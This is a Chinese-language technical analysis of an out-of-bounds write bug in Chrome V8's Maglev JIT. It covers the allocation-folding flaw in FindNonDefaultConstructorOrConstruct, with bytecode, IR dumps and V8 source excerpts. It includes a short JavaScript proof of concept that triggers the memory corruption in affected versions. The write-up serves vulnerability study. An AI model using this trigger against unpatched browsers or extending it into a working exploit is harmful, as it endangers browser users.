漏洞影响范围

Google Chrome V8 <120.0.6099.224

漏洞代码分析

VisitFindNonDefaultConstructorOrConstruct 函数中存在一个漏洞,即 Maglev 函数中的一个问题。该函数在一个类拥有父类时,试图优化类的创建。具体而言,当类中包含一个 new.target 引用时,在生成代码时会触发逻辑问题,导致发生类型为越界写入的二阶漏洞。new.target 被定义为函数的元属性,用于检测该函数是否已使用 new 运算符调用。对于构造函数而言,它允许访问通过 new 运算符调用的函数。在下述情况下,Reflect.construct 被用于构造带有 ClassBug 构造,而 ClassParent 作为 new.target 的 ClassBug。

function main() {
  class ClassParent {
  }
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

崩溃

0x9b00019a548 @    0 : 19 fe f8          Mov , r1
         0x9b00019a54b @    3 : 0b f9             Ldar r0
         0x9b00019a54d @    5 : 69 f9 f9 00 00    Construct r0, r0-r0, [0]
         0x9b00019a552 @   10 : c3                Star2

         0x9b00019a553 @   11 : 5a fe f9 f2       FindNonDefaultConstructorOrConstruct , r0, r7-r8
         0x9b00019a557 @   15 : 0b f2             Ldar r7
         0x9b00019a559 @   17 : 19 f8 f5          Mov r1, r4
         0x9b00019a55c @   20 : 19 f9 f3          Mov r0, r6
         0x9b00019a55f @   23 : 19 f1 f4          Mov r8, r5
         0x9b00019a562 @   26 : 99 0c             JumpIfTrue [12] (0x9b00019a56e @ 38)
         0x9b00019a564 @   28 : ae f4             ThrowIfNotSuperConstructor r5
         0x9b00019a566 @   30 : 0b f3             Ldar r6
         0x9b00019a568 @   32 : 69 f4 f9 00 02    Construct r5, r0-r0, [2]
         0x9b00019a56d @   37 : c0                Star5
         0x9b00019a56e @   38 : 0b 02             Ldar
         0x9b00019a570 @   40 : ad                ThrowSuperAlreadyCalledIfNotHole

         0x9b00019a571 @   41 : 19 f4 02          Mov r5,
         0x9b00019a574 @   44 : 2d f5 00 04       GetNamedProperty r4, [0], [4]
         0x9b00019a578 @   48 : 9d 0a             JumpIfUndefined [10] (0x9b00019a582 @ 58)
         0x9b00019a57a @   50 : be                Star7
         0x9b00019a57b @   51 : 5d f2 f4 06       CallProperty0 r7, r5, [6]
         0x9b00019a57f @   55 : 19 f4 f3          Mov r5, r6

         0x9b00019a582 @   58 : 7a 01 08 25       CreateArrayLiteral [1], [8], #37
         0x9b00019a586 @   62 : c2                Star3
         0x9b00019a587 @   63 : 0b 02             Ldar
         0x9b00019a589 @   65 : aa                Return

当这段代码运行多次时,Maglev JIT 编译器将对每个字节码操作进行单独处理。漏洞存在于 Maglev JIT 编译器将 FindNonDefaultConstructorOrConstruct 字节码操作降级为 Maglev IR 的过程中。

在将字节码降级为 IR 时,Maglev还会包括对 this 对象初始化的代码,这意味着它还将包含来自触发器的代码 [1000] = 8。

Maglev IR 图如下:

[TRUNCATED]
  0x16340019a2e1  (0x163400049c41 )
    11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8


    20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
    21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
    22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
    23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]

[TRUNCATED]

│ 0x16340019a31d  (0x163400049c41 :9:15)
│    5 : DefineKeyedOwnProperty , r0, #0, [0]


│   28/30:   DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│          │      @51 (3 live vars)
│          ? lazy @5 (2 live vars)
│ 0x16340019a2e1  (0x163400049c41 )
│   58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─?Block b7
 │  30/32: Jump b8
 │      ↓
 ╰?Block b8

    31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
       59: GapMove([rcx|R|t] → [rdi|R|t])
    32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]

[TRUNCATED]

优化

20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
    21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
    22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
    23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]

[TRUNCATED]

│ 0x16340019a31d  (0x163400049c41 :9:15)
│    5 : DefineKeyedOwnProperty , r0, #0, [0]

此处 ClassBug 类的构造函数时,Maglev进行原始分配,以满足之前定义的双精度数组的更多空间需求。但是此操作将导致指针溢出到堆。而属性定义[1000] = 8[6]将触发垃圾收集。因此在Maglev IR中无法观察到这一副作用。

31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
       59: GapMove([rcx|R|t] → [rdi|R|t])
    32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]

[TRUNCATED]

此阶段,FoldedAllocation尝试通过从堆栈恢复溢出、添加+12到指针,最终将指针存储回 rcx 寄存器来处理这种情况。随后,GapMove将指针置于 rdi 寄存器,最后由 StoreMap 开始写入双精度数组。这导致内存的重写,

Allocating Folding

Maglev试图通过将多个分配合并为单个大分配来进行优化。它保留了最后一个分配节点的指针。当有新的分配时,Maglev会执行检查,如果通过,它将之前分配的大小增加到新分配请求

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    int size, AllocationType allocation_type) {

  if (!current_raw_allocation_ ||
      current_raw_allocation_->allocation_type() != allocation_type ||
      !v8_flags.inline_new) {
    current_raw_allocation_ =
        AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }

  int current_size = current_raw_allocation_->size();
  if (current_size + size > kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ =
               AddNewNode<AllocateRaw>({}, allocation_type, size);
  }

  DCHECK_GT(current_size, 0);
  int previous_end = current_size;
  current_raw_allocation_->extend(size);
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

第一块代码检查了三个条件:首先,它检查current_raw_allocation_是否为nullptr,其次,它检查current_raw_allocation_的分配类型是否与提供的allocation_type不同,最后,它检查v8_flags.inline_new标志是否未设置。如果这些条件中的任何一个为真,就会创建一个新的AllocateRaw节点,并将其赋给current_raw_allocation_,然后返回该节点。

接下来,代码获取current_raw_allocation_的当前大小(current_size)。如果当前大小加上给定的大小(size)超过了kMaxRegularHeapObjectSize,则再次创建一个新的AllocateRaw节点,并将其赋给current_raw_allocation_,然后返回该节点。

如果以上两个条件都不满足,代码会进行一些断言检查,确保current_size大于零。然后,它获取current_raw_allocation_的当前大小(current_size),并将之前的结束位置(previous_end)设置为current_size。接着,通过调用extend方法扩展current_raw_allocation_的大小。最后,它创建一个新的FoldedAllocation节点,该节点包含current_raw_allocation_,并将之前的结束位置(previous_end)作为参数传递给该节点,并将该节点返回。

分配快速对象

BuildAllocateFastObject()函数调用了ExtendOrReallocateCurrentRawAllocation方法,传递了两个参数:object.instance_size和allocation_type。object.instance_size表示要分配的对象的实例大小,allocation_type表示分配的类型。该方法的返回值(ValueNode*类型)被保存在名为allocation的变量中。

最后,函数返回了allocation,即通过调用ExtendOrReallocateCurrentRawAllocation方法得到的节点。

ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {


[TRUNCATED]


  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);

[TRUNCATED]

  return allocation;
}

当需要进行内存分配时,该函数调用ExtendOrReallocateCurrentRawAllocation(),然后使用对象的数据初始化已分配的内存。值得注意的是,该函数在执行完成后并未清除current_raw_allocation_变量,

MaglevGraphBuilder类提供了一个辅助函数ClearCurrentRawAllocation(),用于将current_raw_allocation_成员设置为NULL。正如前面讨论的那样,如果未正确清除该变量,可能导致分配在垃圾收集边界上折叠,从而引发越界写入问题。

关键函数TryBuildFindNonDefaultConstructorOrConstruct

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct


  compiler::OptionalHeapObjectRef maybe_constant =
      TryGetConstant(this_function);
  if (!maybe_constant) return false;

  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());

[TRUNCATED]


  while (true) {
    if (!current.IsJSFunction()) return false;
    compiler::JSFunctionRef current_function = current.AsJSFunction();

[TRUNCATED]


    FunctionKind kind = current_function.shared(broker()).kind();
    if (kind != FunctionKind::kDefaultDerivedConstructor) {

[TRUNCATED]


      compiler::OptionalHeapObjectRef new_target_function =
          TryGetConstant(new_target);
      if (kind == FunctionKind::kDefaultBaseConstructor) {

[TRUNCATED]


        ValueNode* object;
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function->AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>(
              {GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second.
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }

[TRUNCATED]

    // Keep walking up the class tree.
    current = current_function.map(broker()).prototype(broker());
  }
}
  1. 获取常量和映射:

    • 首先,通过TryGetConstant函数尝试获取this_function参数的常量值,如果未成功获取,则返回false。
    • 然后,从获取的常量中获取其映射(compiler::MapRef类型),并从映射中获取原型(compiler::HeapObjectRef类型)。
  2. 循环遍历类树:

    • 使用一个无限循环,不断遍历类树。
    • 在循环内,首先检查当前对象是否为JS函数,如果不是,返回false。
    • 将当前对象转换为compiler::JSFunctionRef类型。
  3. 检查函数类型:

    • 获取当前函数的类型(FunctionKind),并检查是否为FunctionKind::kDefaultDerivedConstructor,如果是,则跳过当前循环继续上溯。
  4. 处理基类构造函数:

    • 如果当前函数类型为FunctionKind::kDefaultBaseConstructor,则进行下一步处理。
    • 尝试获取new_target参数的常量值,并检查其是否为JS函数以及是否具有有效的初始映射。
    • 如果满足条件,调用BuildAllocateFastObject函数,以FastObject和AllocationType::kYoung参数构建一个新的分配对象节点(ValueNode*)。
    • 如果条件不满足,通过调用BuildCallBuiltin[Builtin::kFastNewObject](Builtin::kFastNewObject)函数创建一个新对象,并更新延迟失效信息(deoptimization info)。
  5. 继续向上遍历类树:

    • 通过获取当前函数的映射,再获取其原型,继续向上遍历类树。

漏洞解释

正如代码中所示,TryBuildFindNonDefaultConstructorOrConstruct() 在调用 BuildAllocateFastObject() 后未清除 current_raw_allocation_ 变量。

因此,如果在 FindNonDefaultConstructorOrConstruct 之后进行的下一个分配与此分配折叠,并且两者之间有一个垃圾收集

那么第二个分配的初始化会导致越界写入。

POC

function main() {
  class ClassParent {}
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

首先,ClassParent类是一个带有默认构造函数的基类,并且ClassBug类没有任何具有自定义构造函数的父对象

调用了创建new.target实例的函数,此时Maglev将对ClassParent发出CheckValue确保其运行时不变。CheckValue将ClassParent标记为new.target,使其成为常量。

super调用构造函数,引擎会为此对象执行分配和初始化。

所以调用super时FindNonDefaultConstructorOrConstruct会发出操作码,然后[1000] = 8;将ClassBug的当前实例的属性1000设置为值8。

数组创建将再次尝试为元数据和数组元素分配内存。

但是调用FindNonDefaultConstructorOrConstruct的Maglev代码在未清除current_raw_allocation_pointer

数组元素和元数据的分配将与 this 对象的分配共同被折叠,GC被触发

this 对象和数组的原始分配将被移动

导致越界写入